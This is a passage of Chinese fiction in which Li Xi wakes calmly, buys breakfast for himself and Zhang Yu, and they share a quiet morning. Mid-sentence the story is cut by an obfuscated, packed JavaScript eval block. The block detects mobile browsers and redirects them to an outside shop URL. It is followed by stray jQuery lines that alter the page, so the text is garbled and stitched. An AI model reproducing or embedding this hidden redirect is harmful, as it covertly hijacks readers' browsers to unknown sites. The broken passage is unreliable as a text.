几个月后一个普通的日子，李析在七点半左右醒了过来。
窗帘的缝隙漏进来的光比冬天的时候更亮一些，季节在不知不觉中换了一轮。天花板上的那道裂缝没有变化，和他第一天看见的时候一样长，一样浅。他醒来的速度比以前快了很多。不需要先确认自己在哪，不需要抬手验证是不是实的，不需要把房间里的东西用视线过一遍再呼吸。他睁开眼，看到天花板是白色的，然后坐起来，穿上拖鞋，走出卧室。
客厅的窗帘已经拉开了大半。张驭站在窗边，手里端着一杯咖啡，正看对面的街道。他听到李析的脚步声，偏了一下头看了一眼："今天是什么日子。"
李析站到窗边，和他并排站着看外面："七点三十七分。周六。天气晴。"
"我问的不是那个。"张驭喝了一口咖啡，"是你楼下买早餐的规律。每周六你会下去买，周天会让我去买——今天是周六，该你了。"
李析站在窗边看了一眼对面街道，那家早餐铺门口今天的顾客比平时少一些，他看到了蒸汽从铺子门口飘出来，在早晨的阳光里形成一道细长的白色雾柱。"有鸡蛋饼。"
"有。"
"那我下去买。"
"带上钥匙。"
李析从玄关的挂钩上取了钥匙，推开门走下楼。楼道里的声音被封闭的墙壁包裹着，脚步声在每一级台阶上响起，然后随着他走到下一层而消失，再重新响起。他走出楼门口的时候迎面吹来的风比楼上感知到的更凉一些，带着街边花坛里泥土和植物叶子散发的潮气。他沿着人行道走了一小段路，经过路边停着的车和一根电线杆，走到早餐铺门口站定。铺子里蒸汽的暖意扑面而来，和风里的凉意在他身体周围形成一个交界区。卖早餐的女人已经认识他了。李析站在窗口前，不需要像第一次一样在蒸汽和油的气味里考虑自己要说什么。那个女人看了他一眼，已经伸手拿袋子了："鸡蛋饼，两个？"
"两个。"
"豆浆也要？"
"两杯。"
女人动作很快，把纸袋叠好、豆浆装好，递出窗口。李析接过纸袋的时候指尖触到了被热气渗透的纸面，温暖的、略微软化了的纸纤维触感，在他的指腹上停留了一会儿，然后他转身往回走。他走到楼下的时候看到楼门口站了一个人。张驭靠在门框旁边，手里那杯咖啡已经喝完了，空杯被他拿在另一只手里。他侧过头看了李析一眼，视线在纸袋和豆浆杯之间快速过了一遍，然后说："没加辣椒。"
"没加。你上次说不要辣椒。"
张驭伸手接过其中一个纸袋，两个人在楼门口的光线里并排站了一小会儿，都没有急着上楼。街道上的车辆比刚才多了一些，远处的十字路口的交通灯从红变绿，一排车辆启动的声音从远处传来。李析低头看了一眼自己手里的豆浆杯，杯壁的温度透过纸层传递到他的掌心。他抬起来喝了一口，温度正好——不是烫的，是入口之后会往下走的温度。张驭站在他旁边也喝了一口自己的豆浆，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930608|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
两个人在楼门口的光线里没有说话，附近早餐铺的蒸汽还在持续升起，在街道上方形成一个缓慢扩大的白色雾柱，然后被风吹散。
李析把喝过的那杯豆浆拿在手里，看向街道对面。他注意到早餐铺的蒸汽正穿过行道树的枝条，在树冠的上方形成了一层极浅的薄雾，然后在更远处被风吹散了。
"走了，上去。"张驭说。
两个人转身走进楼门口，脚步声在一层层的楼梯间里交替响着，一个稍快、一个稍慢，持续到某一层时戛然而止——门被推开又关上，街道上的声音被隔绝在了外面。客厅的窗帘仍敞开着，窗台上那排植物中有一棵的叶子在晨光里微微舒展。茶几上放着那块灰白色的布，叠好的，边缘裁得不齐，昨天从柜子里拿出来之后忘了放回去。张驭路过的时候看了一眼，没有收起来，李析路过的时候也看了一眼，也没有收起来。一块旧布叠好后放在茶几角落，边缘不齐，灰色的，不会影响任何东西。
茶几上的布保持着叠好的姿态，在晨光里安静地待着。
两个纸袋并排放在桌上，鸡蛋饼的热气在翻开袋口的时候升起来，然后融进客厅的暖色光线里。李析在窗台上那棵植物的叶片上看到了一滴残留的水珠——昨晚浇过水之后留下的，在晨光里折射出一个小小的光点。他看了它一眼，然后坐到桌边拿起了第一个鸡蛋饼。晨光从窗外斜照进来，落在桌沿上。窗外的街道有汽车驶过，有人在打招呼，有一只鸟掠过空中的轨迹，什么都没有分析的必要。